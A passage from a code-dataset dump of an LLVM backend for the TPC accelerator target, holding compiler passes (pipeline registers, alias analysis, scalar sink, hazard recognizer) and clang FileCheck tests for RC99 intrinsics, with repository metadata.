&BMI = *MII;\n if (!isFullNopInstr(BMI) && !TPCII::is_ld_l_v(BMI.getDesc())) {\n return false;\n }\n }\n return true;\n }\n\n return TPCII::is_ld_l_v(MI.getDesc());\n}\n\nstatic bool hasST_L_V(const MachineInstr &MI) {\n if (isFullNopInstr(MI))\n return false;\n\n if (MI.isBundle()) {\n const MachineBasicBlock *MBB = MI.getParent();\n auto MII = MI.getIterator();\n for (++MII; MII != MBB->instr_end() && MII->isInsideBundle(); ++MII) {\n const MachineInstr &BMI = *MII;\n if (!isFullNopInstr(BMI) && !TPCII::is_st_l_v(BMI.getDesc())) {\n return false;\n }\n }\n return true;\n }\n\n return TPCII::is_st_l_v(MI.getDesc());\n}\n\n// Check if FirstI modifies a register that SecondI reads.\nstatic bool hasWriteToReadDep(const MachineInstr &Load,\n const MachineInstr &Store, unsigned &Reg,\n const TargetRegisterInfo *TRI) {\n\n // Get the load store instruction if MI is a bundle.\n const MachineInstr *FirstI = &Load, *SecondI = &Store;\n if (Load.isBundle() && Store.isBundle()) {\n FirstI = nullptr;\n SecondI = nullptr;\n\n const MachineBasicBlock *MBB = Load.getParent();\n auto MII = Load.getIterator();\n for (++MII; MII != MBB->instr_end() && MII->isInsideBundle(); ++MII) {\n const MachineInstr *MI = &*MII;\n if (TPCII::is_ld_l_v(MI->getDesc())) {\n FirstI = MI;\n break;\n }\n }\n\n MII = Store.getIterator();\n for (++MII; MII != MBB->instr_end() && MII->isInsideBundle(); ++MII) {\n const MachineInstr *MI = &*MII;\n if (TPCII::is_st_l_v(MI->getDesc())) {\n SecondI = MI;\n break;\n }\n }\n }\n\n for (auto &MO : FirstI->operands()) {\n if (!MO.isReg() || !MO.isDef())\n continue;\n unsigned R = MO.getReg();\n if (SecondI->readsRegister(R, TRI)) {\n Reg = R;\n return true;\n }\n }\n return false;\n}\n\n#ifndef NDEBUG\n//\n// printMI: debug print of MI instruction. If MI is a bundle prints all\n// instructions in that bundle (excluding NOPs)\n//\nstatic void printMI(MachineInstr *MI) {\n if (MI->isBundle()) {\n const MachineBasicBlock *MBB = MI->getParent();\n MachineBasicBlock::const_instr_iterator MII = MI->getIterator();\n for (++MII; MII != MBB->instr_end() && MII->isInsideBundle(); ++MII) {\n const MachineInstr &DefMI = *MII;\n if (!isFullNopInstr(DefMI)) {\n dbgs() << \" \" << DefMI;\n }\n }\n } else {\n dbgs() << \" \" << *MI;\n }\n}\n#endif\n\nbool TPCPipelineRegs::runOnMachineFunction(MachineFunction &MF) {\n\n if (!TPCEnablePipelineRegs)\n return false;\n\n if (skipFunction(MF.getFunction()))\n return false;\n\n bool Change = false;\n\n LLVM_DEBUG(dbgs() << \"\\nStart pipelining registers...\");\n const TPCRegisterInfo *TRI =\n MF.getSubtarget<TPCSubtarget>().getRegisterInfo();\n\n for (auto &MBB : MF)\n for (auto It = MBB.begin(), End = MBB.end(); It != End;) {\n // TODO: Expand for other types.\n if (!hasLD_L_V(*It)) {\n ++It;\n continue;\n }\n\n // Get the insert location for load pipeline.\n auto &LoadInst = *It;\n auto LoadInsertIt = std::next(It);\n\n // Calculate the cycle distance to figure out how many\n // instructions can be pipelined.\n unsigned CycleDist = 0;\n while (++It != MBB.end() && isFullNopInstr(*It))\n ++CycleDist;\n\n if (It == MBB.end())\n break;\n\n if (!hasST_L_V(*It)) {\n ++It;\n continue;\n }\n\n auto &StoreInst = *It;\n unsigned CommonReg = 0;\n if (!hasWriteToReadDep(LoadInst, StoreInst, CommonReg, TRI)) {\n ++It;\n continue;\n }\n\n auto StoreInsertIt = ++It;\n // Break if this is end of sequence.\n if (It == MBB.end())\n break;\n\n // We have the cycle distance now. Collect the loads/stores\n // for pipeline generation.\n SmallVector<MachineBasicBlock::iterator, 4> LoadIters, StoreIters;\n LLVM_DEBUG(dbgs() << \"\\nCycle distance : \" << CycleDist);\n unsigned SequenceCount = 0, PipeCount = 0;\n\n while (SequenceCount++ < CycleDist) {\n if (It == MBB.end())\n break;\n\n if (!hasLD_L_V(*It)) {\n ++It;\n break;\n }\n\n auto LoadIt = It;\n unsigned CycleCount = 0;\n SmallVector<MachineBasicBlock::iterator, 4> NOPIters;\n while (++It != MBB.end() && isFullNopInstr(*It)) {\n NOPIters.push_back(It);\n ++CycleCount;\n }\n\n if (CycleCount != CycleDist || It == MBB.end())\n break;\n\n if (!hasST_L_V(*It)) {\n ++It;\n break;\n }\n\n unsigned Reg = 0;\n if (!hasWriteToReadDep(LoadInst, StoreInst, Reg, TRI) ||\n Reg != CommonReg) {\n ++It;\n break;\n }\n\n for (auto NOPIt : NOPIters)\n MBB.erase(NOPIt);\n\n LoadIters.push_back(LoadIt);\n StoreIters.push_back(It);\n // Increment the iterator after getting one paired sequence.\n ++It;\n ++PipeCount;\n }\n\n if ((LoadIters.size() > 0) && (StoreIters.size() > 0)) {\n LLVM_DEBUG(dbgs() << \"\\nFound LD/ST pipeline sequence...\");\n LLVM_DEBUG(dbgs() << \"\\nPrinting pipelined sequence...\\n\");\n\n LLVM_DEBUG(printMI(&LoadInst); {\n for (auto &MIter : LoadIters)\n printMI(&*MIter);\n };\n printMI(&StoreInst); {\n for (auto &MIter : StoreIters)\n printMI(&*MIter);\n });\n // Now rearrange the sequence of loads/stores to generate\n // pipeline.\n for (auto &MIIter : StoreIters) {\n MBB.splice(StoreInsertIt, &MBB, MIIter);\n }\n\n for (auto &MIIter : LoadIters) {\n MBB.splice(LoadInsertIt, &MBB, MIIter);\n }\n\n // Remove the NOPs in between.\n for (std::size_t i = 0; i < PipeCount; ++i) {\n LoadInsertIt = MBB.erase(LoadInsertIt);\n }\n\n Change = true;\n }\n }\n\n return Change;\n}\n" }, { "alpha_fraction": 0.6185910701751709, "alphanum_fraction": 0.6231763362884521, "avg_line_length": 31.41891860961914, "blob_id": "ef749fc6646698d351003f1fbdea4b4e63e3957a", "content_id": "e2847a7199e4683b8f5014b23924c6a3ecc7171b", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2399, "license_type": "permissive", "max_line_length": 80, "num_lines": 74, "path": "/llvm/lib/Target/TPC/TPCAliasAnalysis.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCAliasAnalysis ------------------------------------------------===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n/// \\file\n/// This is the TPC address space based alias analysis pass.\n//===----------------------------------------------------------------------===//\n\n#include \"TPCAliasAnalysis.h\"\n#include \"TPC.h\"\n#include \"llvm/ADT/Triple.h\"\n#include \"llvm/Analysis/AliasAnalysis.h\"\n#include \"llvm/Analysis/MemoryLocation.h\"\n#include \"llvm/Analysis/ValueTracking.h\"\n#include \"llvm/IR/Argument.h\"\n#include \"llvm/IR/Attributes.h\"\n#include \"llvm/IR/CallingConv.h\"\n#include \"llvm/IR/Function.h\"\n#include \"llvm/IR/GlobalVariable.h\"\n#include \"llvm/IR/Type.h\"\n#include \"llvm/IR/Value.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/Support/Casting.h\"\n#include \"llvm/Support/ErrorHandling.h\"\n#include <cassert>\n\nusing namespace llvm;\n\n#define DEBUG_TYPE \"tpc-aa\"\n\n// Register this pass...\nchar TPCAAWrapperPass::ID = 0;\n\nINITIALIZE_PASS(TPCAAWrapperPass, \"TPC-aa\",\n \"TPC Address space based Alias Analysis\", false, true)\n\nImmutablePass *llvm::createTPCAAWrapperPass() {\n return new TPCAAWrapperPass();\n}\n\nvoid TPCAAWrapperPass::getAnalysisUsage(AnalysisUsage &AU) const {\n AU.setPreservesAll();\n}\n\nAliasResult TPCAAResult::getAliasResult(unsigned AS1,\n unsigned AS2) const {\n if (AS1 == 0 || AS2 == 0) {\n // unknown addrspace\n return MayAlias;\n }\n return AS1 == AS2 ? MayAlias : NoAlias;\n}\n\nAliasResult TPCAAResult::alias(const MemoryLocation &LocA,\n const MemoryLocation &LocB, AAQueryInfo &AAQI) {\n unsigned asA = LocA.Ptr->getType()->getPointerAddressSpace();\n unsigned asB = LocB.Ptr->getType()->getPointerAddressSpace();\n\n AliasResult Result = getAliasResult(asA, asB);\n if (Result == NoAlias) return Result;\n if (asA != asB && asA != 0 && asB != 0) return NoAlias;\n\n // Forward the query to the next alias analysis.\n return AAResultBase::alias(LocA, LocB, AAQI);\n}\n\nbool TPCAAResult::pointsToConstantMemory(const MemoryLocation &Loc,\n AAQueryInfo &QInfo, bool OrLocal) {\n return AAResultBase::pointsToConstantMemory(Loc, QInfo, OrLocal);\n}\n" }, { "alpha_fraction": 0.4642857015132904, "alphanum_fraction": 0.5036945939064026, "avg_line_length": 29.074073791503906, "blob_id": "0ef5fa0a4c63fea37e2844c3466babd87976e1da", "content_id": "53fb6271a2d6c790c1e39f07d6b63f2029de1b50", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1624, "license_type": "permissive", "max_line_length": 135, "num_lines": 54, "path": "/clang/test/RC99/IntrinsicsL/b_xx_mov_s_b.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck --check-prefixes=CHECK,GAUDI %s\n\nvoid main(int dest, int src, int src1) {\n int __local *dptr = (int __local *)dest;\n\n _Bool res = *dptr++ & 0x01;\n _Bool pred = src > src1;\n// CHECK-DAG: ld_l [[RESV:%S[0-9]+]], %S0\n// CHECK-DAG: mov [[RES:%SP[0-9]+]], [[RESV]]\n// CHECK-DAG: cmp_grt.i32 [[PRED:%SP[0-9]+]], %S1, %S2\n\n float xf = as_float(*dptr++);\n res = b_f32_mov_s_b(xf, res, pred, 0);\n *dptr++ = res;\n// CHECK: mov [[RES]], %S{{[0-9]+}}, [[PRED]]\n\n#ifdef __gaudi__\n _BFloat16 xbf = as_bfloat((short)*dptr++);\n res = b_bf16_mov_s_b(xbf, res, pred, 0);\n *dptr++ = res;\n// GAUDI: mov [[RES]], %S{{[0-9]+}}, [[PRED]]\n#endif\n\n int xi = *dptr++;\n res = b_i32_mov_s_b(xi, res, pred, 0);\n *dptr++ = res;\n// CHECK: mov [[RES]], %S{{[0-9]+}}, [[PRED]]\n\n unsigned xu = *dptr++;\n res = b_u32_mov_s_b(xu, res, pred, 0);\n *dptr++ = res;\n// CHECK: mov [[RES]], %S{{[0-9]+}}, [[PRED]]\n\n short xs = *dptr++;\n res = b_i16_mov_s_b(xs, res, pred, 0);\n *dptr++ = res;\n// CHECK: mov [[RES]], %S{{[0-9]+}}, [[PRED]]\n\n unsigned short xus = *dptr++;\n res = b_u16_mov_s_b(xus, res, pred, 0);\n *dptr++ = res;\n// CHECK: mov [[RES]], %S{{[0-9]+}}, [[PRED]]\n\n char xc = *dptr++;\n res = b_i8_mov_s_b(xc, res, pred, 0);\n *dptr++ = res;\n// CHECK: mov [[RES]], %S{{[0-9]+}}, [[PRED]]\n\n unsigned char xuc = *dptr++;\n res = b_u8_mov_s_b(xuc, res, pred, 0);\n *dptr++ = res;\n// CHECK: mov [[RES]], %S{{[0-9]+}}, [[PRED]]\n}\n" }, { "alpha_fraction": 0.5611510872840881, "alphanum_fraction": 0.5899280309677124, "avg_line_length": 20.384614944458008, "blob_id": "61b36c4e8379ebb63f1e830d3cc8b13c3203ddde", "content_id": "a06dba7262c83f7860f2ac1d1d898ceaec9aa4f4", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 278, "license_type": "permissive", "max_line_length": 61, "num_lines": 13, "path": "/clang/test/RC99/utils/gen-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN:%intr-gen %s | FileCheck %s\n\n#if defined(__dali__) || defined(__gaudi__)\nint func_01(int x);\n#endif\n\n#if !defined(__dali__)\nint func_02(int x);\n#endif\n\n\n// CHECK: TARGET_BUILTIN( func_01, \"ii\", \"nc\", \"dali|gaudi\" )\n// CHECK: TARGET_BUILTIN( func_02, \"ii\", \"nc\", \"goya\" )\n" }, { "alpha_fraction": 0.49355432391166687, "alphanum_fraction": 0.5966851115226746, "avg_line_length": 32.9375, "blob_id": "228841def487982a9356c074c25170adc80bed54", "content_id": "ed54f4f14bee4f137dc57b40fce05606602fe08f", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 543, "license_type": "permissive", "max_line_length": 131, "num_lines": 16, "path": "/clang/test/RC99/IntrinsicsM/and/i_i32_and_i_i_b.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n\nvoid main(int x3)\n{\n \n int5 indx0 = {0,1,0,0,0};\n int5 indx1 = {0,0,1,0,0};\n int5 res0 = 0; \n\n res0 = i_i32_and_i_i_b(indx0, indx1, res0, 20, x3, 0);\n float64 temp0 = 0;\n f32_st_tnsr_i_v(res0, 1, temp0);\n}\n//CHECK-ASM: .globl main\n//CHECK-ASM-DAG: and.i32 b10100 %I2, %I3, %I4, %SP1\n" }, { "alpha_fraction": 0.5238784551620483, "alphanum_fraction": 0.5600578784942627, "avg_line_length": 48.35714340209961, "blob_id": "6e97296d633570d410fe3e0d6a3279167fe12276", "content_id": "dcb8329d9abeaba253eb8eb2cb5e6826f60cda28", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 691, "license_type": "permissive", "max_line_length": 139, "num_lines": 14, "path": "/clang/test/RC99/IntrinsicsM/st_l/b_st_l_s_b_b.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -mllvm -emit-index-factors=false -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -mllvm -emit-index-factors=false -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck %s\n\n\nvoid main(unsigned dest, _Bool value, _Bool pred) {\n b_st_l_s_b_b(dest, value, 0, pred, 0);\n b_st_l_s_b_b(dest+4, value, 1, pred, 1);\n}\n\n// CHECK-DAG: mov %SP[[VALUE:[0-9]+]], %S1\n// CHECK-DAG: mov %SP[[PRED:[0-9]+]], %S2\n// CHECK: st_l %S0, %SP[[VALUE]], %SP[[PRED]]\n// CHECK: st_l mmio %S{{[0-9]+}}, %SP[[VALUE]], !%SP[[PRED]]\n// CHECK-GEN3P: st_l mmio unlock %S{{[0-9]+}}, %SP[[VALUE]], !%SP[[PRED]]\n" }, { "alpha_fraction": 0.6297827363014221, "alphanum_fraction": 0.6689984202384949, "avg_line_length": 45.47783279418945, "blob_id": "d08d24055cf16ae4114309e259cc185bbdeedc53", "content_id": "973a1381888515adc01588e177426536867aad4a", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 9435, "license_type": "permissive", "max_line_length": 88, "num_lines": 203, "path": "/llvm/lib/Target/TPC/TPCScalarSink.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCScalarSink.cpp - Convert vector operands into scalar operands -----===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// The intrinsics that can have auto-broadcasted scalars as arguments are represented as\n// intr(v1, splat(v2))\n// in front end. LICM can hoist splat part out of the loop so later during\n// the selection phase the scalar variant of the command can not be formed.\n// This pass finds broadcast moves and tries to sink them inside the loop\n// and create the scalar version of the command. This saves VRF usage.\n//\n//===----------------------------------------------------------------------===//\n\n\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"llvm/ADT/SmallSet.h\"\n#include \"llvm/ADT/SmallVector.h\"\n#include \"llvm/ADT/Statistic.h\"\n#include \"llvm/ADT/StringRef.h\"\n#include \"llvm/CodeGen/MachineBasicBlock.h\"\n#include \"llvm/CodeGen/MachineDominators.h\"\n#include \"llvm/CodeGen/MachineFunction.h\"\n#include \"llvm/CodeGen/MachineFunctionPass.h\"\n#include \"llvm/CodeGen/MachineInstr.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"llvm/CodeGen/MachineLoopInfo.h\"\n#include \"llvm/CodeGen/MachineOperand.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/IR/Constants.h\"\n#include \"llvm/IR/DebugLoc.h\"\n#include \"llvm/InitializePasses.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/Support/CommandLine.h\"\n#include \"llvm/Support/Debug.h\"\n#include \"llvm/Support/ErrorHandling.h\"\n#include \"llvm/Support/MathExtras.h\"\n#include \"llvm/Support/raw_ostream.h\"\n#include \"llvm/Transforms/Utils/LoopSimplify.h\"\n#include \"llvm/Transforms/Scalar.h\"\n#include \"llvm/CodeGen/TargetRegisterInfo.h\"\n#include <cassert>\n#include <cstdint>\n#include <cstdlib>\n#include <iterator>\n#include <map>\n#include <set>\n#include <utility>\n#include <vector>\nusing namespace llvm;\n\n#define DEBUG_TYPE \"tpc-scalar-sink\"\n\nstatic cl::opt<bool>\n EnableSink(\"enable-scalar-sink\", cl::Hidden,\n cl::desc(\"Enable scalar sink\"), cl::init(true));\n\nnamespace llvm {\n FunctionPass *createTPCScalarSink();\n void initializeTPCScalarSinkPass(PassRegistry&);\n} // end namespace llvm\n\n\nclass TPCScalarSink : public MachineFunctionPass {\n MachineLoopInfo *MLI;\n MachineRegisterInfo* MRI;\n const TPCInstrInfo * TII;\n\npublic:\n static char ID;\n TPCScalarSink() : MachineFunctionPass(ID), MLI(nullptr), TII(nullptr) {\n initializeTPCScalarSinkPass(*PassRegistry::getPassRegistry());\n }\n bool runOnMachineFunction(MachineFunction &MF) override;\n\n void getAnalysisUsage(AnalysisUsage &AU) const override {\n AU.addRequired<MachineLoopInfo>();\n MachineFunctionPass::getAnalysisUsage(AU);\n }\n};\n\nINITIALIZE_PASS_BEGIN(TPCScalarSink, \"movscalarsink\",\n \"TPC Scalar Sink\", false, false)\nINITIALIZE_PASS_DEPENDENCY(MachineLoopInfo)\nINITIALIZE_PASS_END(TPCScalarSink, \"movscalarsink\",\n \"TPC Scalar Sink\", false, false)\n\nFunctionPass *llvm::createTPCScalarSink() {\n return new TPCScalarSink();\n}\n\nchar TPCScalarSink::ID = 0;\n\nbool TPCScalarSink::runOnMachineFunction(MachineFunction &MF) {\n if (!EnableSink) {\n return false;\n };\n\n std::map<unsigned, unsigned> V2S;\n std::map<unsigned, unsigned> V2I;\n // TODO: only basic variants of instructions are here\n // adding all variants in that way is ridiculous.\n // Think of something better\n V2S[TPC::MACf32vvp] = TPC::MACf32vsp; V2I[TPC::MACf32vvp] = TPC::MACf32vip;\n V2S[TPC::MACf32vvm] = TPC::MACf32vsm; V2I[TPC::MACf32vvm] = TPC::MACf32vim;\n V2S[TPC::MACi16vvp] = TPC::MACi16vsp; V2I[TPC::MACi16vvp] = TPC::MACi16vip;\n V2S[TPC::MACi16vvm] = TPC::MACi16vsm; V2I[TPC::MACi16vvm] = TPC::MACi16vim;\n V2S[TPC::MACu16vvp] = TPC::MACu16vsp; V2I[TPC::MACu16vvp] = TPC::MACu16vip;\n V2S[TPC::MACu16vvm] = TPC::MACu16vsm; V2I[TPC::MACu16vvm] = TPC::MACu16vim;\n V2S[TPC::MACi8vvp] = TPC::MACi8vsp; V2I[TPC::MACi8vvp] = TPC::MACi8vip;\n V2S[TPC::MACi8vvm] = TPC::MACi8vsm; V2I[TPC::MACi8vvm] = TPC::MACi8vim;\n V2S[TPC::MACu8vvp] = TPC::MACu8vsp; V2I[TPC::MACu8vvp] = TPC::MACu8vip;\n V2S[TPC::MACu8vvm] = TPC::MACu8vsm; V2I[TPC::MACu8vvm] = TPC::MACu8vim;\n V2S[TPC::MACAbf16vvp] = TPC::MACAbf16vsp; V2I[TPC::MACAbf16vvp] = TPC::MACAbf16vip;\n V2S[TPC::MACAbf16vvm] = TPC::MACAbf16vsm; V2I[TPC::MACAbf16vvm] = TPC::MACAbf16vim;\n\n V2S[TPC::MULf32vvp] = TPC::MULf32vsp; V2I[TPC::MULf32vvp] = TPC::MULf32vip;\n V2S[TPC::MULf32vvm] = TPC::MULf32vsm; V2I[TPC::MULf32vvm] = TPC::MULf32vim;\n V2S[TPC::MULi32vvp] = TPC::MULi32vsp; V2I[TPC::MULi32vvp] = TPC::MULi32vip;\n V2S[TPC::MULi32vvm] = TPC::MULi32vsm; V2I[TPC::MULi32vvm] = TPC::MULi32vim;\n V2S[TPC::MULu32vvp] = TPC::MULu32vsp; V2I[TPC::MULu32vvp] = TPC::MULu32vip;\n V2S[TPC::MULu32vvm] = TPC::MULu32vsm; V2I[TPC::MULu32vvm] = TPC::MULu32vim;\n V2S[TPC::MULi16vvp] = TPC::MULi16vsp; V2I[TPC::MULi16vvp] = TPC::MULi16vip;\n V2S[TPC::MULi16vvm] = TPC::MULi16vsm; V2I[TPC::MULi16vvm] = TPC::MULi16vim;\n V2S[TPC::MULu16vvp] = TPC::MULu16vsp; V2I[TPC::MULu16vvp] = TPC::MULu16vip;\n V2S[TPC::MULu16vvm] = TPC::MULu16vsm; V2I[TPC::MULu16vvm] = TPC::MULu16vim;\n V2S[TPC::MULi8vvp] = TPC::MULi8vsp; V2I[TPC::MULi8vvp] = TPC::MULi8vip;\n V2S[TPC::MULi8vvm] = TPC::MULi8vsm; V2I[TPC::MULi8vvm] = TPC::MULi8vim;\n V2S[TPC::MULu8vvp] = TPC::MULu8vsp; V2I[TPC::MULu8vvp] = TPC::MULu8vip;\n V2S[TPC::MULu8vvm] = TPC::MULu8vsm; V2I[TPC::MULu8vvm] = TPC::MULu8vim;\n V2S[TPC::MULAbf16vvp] = TPC::MULAbf16vsp; V2I[TPC::MULAbf16vvp] = TPC::MULAbf16vip;\n V2S[TPC::MULAbf16vvm] = TPC::MULAbf16vsm; V2I[TPC::MULAbf16vvm] = TPC::MULAbf16vim;\n V2S[TPC::MULAi32vvp] = TPC::MULAi32vsp; V2I[TPC::MULAi32vvp] = TPC::MULAi32vip;\n V2S[TPC::MULAi32vvm] = TPC::MULAi32vsm; V2I[TPC::MULAi32vvm] = TPC::MULAi32vim;\n V2S[TPC::MULAu32vvp] = TPC::MULAu32vsp; V2I[TPC::MULAu32vvp] = TPC::MULAu32vip;\n V2S[TPC::MULAu32vvm] = TPC::MULAu32vsm; V2I[TPC::MULAu32vvm] = TPC::MULAu32vim;\n\n V2S[TPC::ADDvvp] = TPC::ADDvsp; V2I[TPC::ADDvvp] = TPC::ADDvip;\n V2S[TPC::ADDvvm] = TPC::ADDvsm; V2I[TPC::ADDvvm] = TPC::ADDvim;\n V2S[TPC::SUBvvp] = TPC::SUBvsp; V2I[TPC::SUBvvp] = TPC::SUBvip;\n V2S[TPC::SUBvvm] = TPC::SUBvsm; V2I[TPC::SUBvvm] = TPC::SUBvim;\n V2S[TPC::MAXvvp] = TPC::MAXvsp; V2I[TPC::MAXvvp] = TPC::MAXvip;\n V2S[TPC::MAXvvm] = TPC::MAXvsm; V2I[TPC::MAXvvm] = TPC::MAXvim;\n V2S[TPC::MINvvp] = TPC::MINvsp; V2I[TPC::MINvvp] = TPC::MINvip;\n V2S[TPC::MINvvm] = TPC::MINvsm; V2I[TPC::MINvvm] = TPC::MINvim;\n V2S[TPC::ANDvvp] = TPC::ANDvsp; V2I[TPC::ANDvvp] = TPC::ANDvip;\n V2S[TPC::ANDvvm] = TPC::ANDvsm; V2I[TPC::ANDvvm] = TPC::ANDvim;\n V2S[TPC::ORvvp] = TPC::ORvsp; V2I[TPC::ORvvp] = TPC::ORvip;\n V2S[TPC::ORvvm] = TPC::ORvsm; V2I[TPC::ORvvm] = TPC::ORvim;\n V2S[TPC::XORvvp] = TPC::XORvsp; V2I[TPC::XORvvp] = TPC::XORvip;\n V2S[TPC::XORvvm] = TPC::XORvsm; V2I[TPC::XORvvm] = TPC::XORvim;\n V2S[TPC::ASHvvp] = TPC::ASHvsp; V2I[TPC::ASHvvp] = TPC::ASHvip;\n V2S[TPC::ASHvvm] = TPC::ASHvsm; V2I[TPC::ASHvvm] = TPC::ASHvim;\n V2S[TPC::SHRvvp] = TPC::SHRvsp; V2I[TPC::SHRvvp] = TPC::SHRvip;\n V2S[TPC::SHRvvm] = TPC::SHRvsm; V2I[TPC::SHRvvm] = TPC::SHRvim;\n V2S[TPC::SHLvvp] = TPC::SHLvsp; V2I[TPC::SHLvvp] = TPC::SHLvip;\n V2S[TPC::SHLvvm] = TPC::SHLvsm; V2I[TPC::SHLvvm] = TPC::SHLvim;\n V2S[TPC::CMP_EQvvp] = TPC::CMP_EQvsp; V2I[TPC::CMP_EQvvp] = TPC::CMP_EQvip;\n V2S[TPC::CMP_EQvvm] = TPC::CMP_EQvsm; V2I[TPC::CMP_EQvvm] = TPC::CMP_EQvim;\n V2S[TPC::CMP_NEQvvp] = TPC::CMP_NEQvsp; V2I[TPC::CMP_NEQvvp] = TPC::CMP_NEQvip;\n V2S[TPC::CMP_NEQvvm] = TPC::CMP_NEQvsm; V2I[TPC::CMP_NEQvvm] = TPC::CMP_NEQvim;\n V2S[TPC::CMP_LESSvvp] = TPC::CMP_LESSvsp; V2I[TPC::CMP_LESSvvp] = TPC::CMP_LESSvip;\n V2S[TPC::CMP_LESSvvm] = TPC::CMP_LESSvsm; V2I[TPC::CMP_LESSvvm] = TPC::CMP_LESSvim;\n V2S[TPC::CMP_LEQvvp] = TPC::CMP_LEQvsp; V2I[TPC::CMP_LEQvvp] = TPC::CMP_LEQvip;\n V2S[TPC::CMP_LEQvvm] = TPC::CMP_LEQvsm; V2I[TPC::CMP_LEQvvm] = TPC::CMP_LEQvim;\n V2S[TPC::CMP_GRTvvp] = TPC::CMP_GRTvsp; V2I[TPC::CMP_GRTvvp] = TPC::CMP_GRTvip;\n V2S[TPC::CMP_GRTvvm] = TPC::CMP_GRTvsm; V2I[TPC::CMP_GRTvvm] = TPC::CMP_GRTvim;\n V2S[TPC::CMP_GEQvvp] = TPC::CMP_GEQvsp; V2I[TPC::CMP_GEQvvp] = TPC::CMP_GEQvip;\n V2S[TPC::CMP_GEQvvm] = TPC::CMP_GEQvsm; V2I[TPC::CMP_GEQvvm] = TPC::CMP_GEQvim;\n\n bool Changed = false;\n MRI = &MF.getRegInfo();\n TII = MF.getSubtarget<TPCSubtarget>().getInstrInfo();\n\n for (auto MBB = MF.begin(), E = MF.end(); MBB != E; ++MBB) {\n for (MachineInstr& Inst : MBB->instrs()) {\n if (V2S.count(Inst.getOpcode()) > 0) {\n if (Inst.getOperand(2).isReg()) {\n const TargetRegisterClass *RC = MRI->getRegClass(Inst.getOperand(2).getReg());\n if (TPC::VRFRegClass.hasSubClassEq(RC)) {\n MachineInstr* defI = MRI->getVRegDef(Inst.getOperand(2).getReg());\n if (defI->getOpcode() == TPC::MOV_ld_vsp) {\n if (defI->getOperand(1).isReg()) {\n Inst.getOperand(2).setReg(defI->getOperand(1).getReg());\n Inst.setDesc(TII->get(V2S[Inst.getOpcode()]));\n Changed = true;\n }\n } else if (defI->getOpcode() == TPC::MOV_ld_vsp) {\n // TODO: how to change register operand to constant?\n }\n }\n }\n }\n }\n }\n\n return Changed;\n}\n" }, { "alpha_fraction": 0.5962353944778442, "alphanum_fraction": 0.6018202304840088, "avg_line_length": 31.121261596679688, "blob_id": "8090c4c5c66c6c25bc42d09e7453c6eabc8fd5f9", "content_id": "5aa045c988c3301703a112b9d1ee470192e93275", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 19338, "license_type": "permissive", "max_line_length": 122, "num_lines": 602, "path": "/llvm/lib/Target/TPC/TPCHazardRecognizer.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCHazardRecognizer.cpp ---- Custom HazardRecognizer for TPC -------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCMachineScheduler.h\"\n#include \"TPCSubtarget.h\"\n#include \"TPCInstrInfo.h\"\n#include \"llvm/CodeGen/MachineScheduler.h\"\n#include \"llvm/CodeGen/ScheduleHazardRecognizer.h\"\n#include \"llvm/CodeGen/DFAPacketizer.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\nusing namespace llvm;\n\n#define DEBUG_TYPE \"tpchazardrec\"\n\nnamespace llvm {\n// TPC Hazard Recognizer.\n//\nclass MachineFunction;\nclass MachineInstr;\nclass ScheduleDAG;\nclass TPCInstrInfo;\nclass TPCSubtarget;\n\nclass TPCHazardRecognizer : public ScheduleHazardRecognizer {\n\n bool 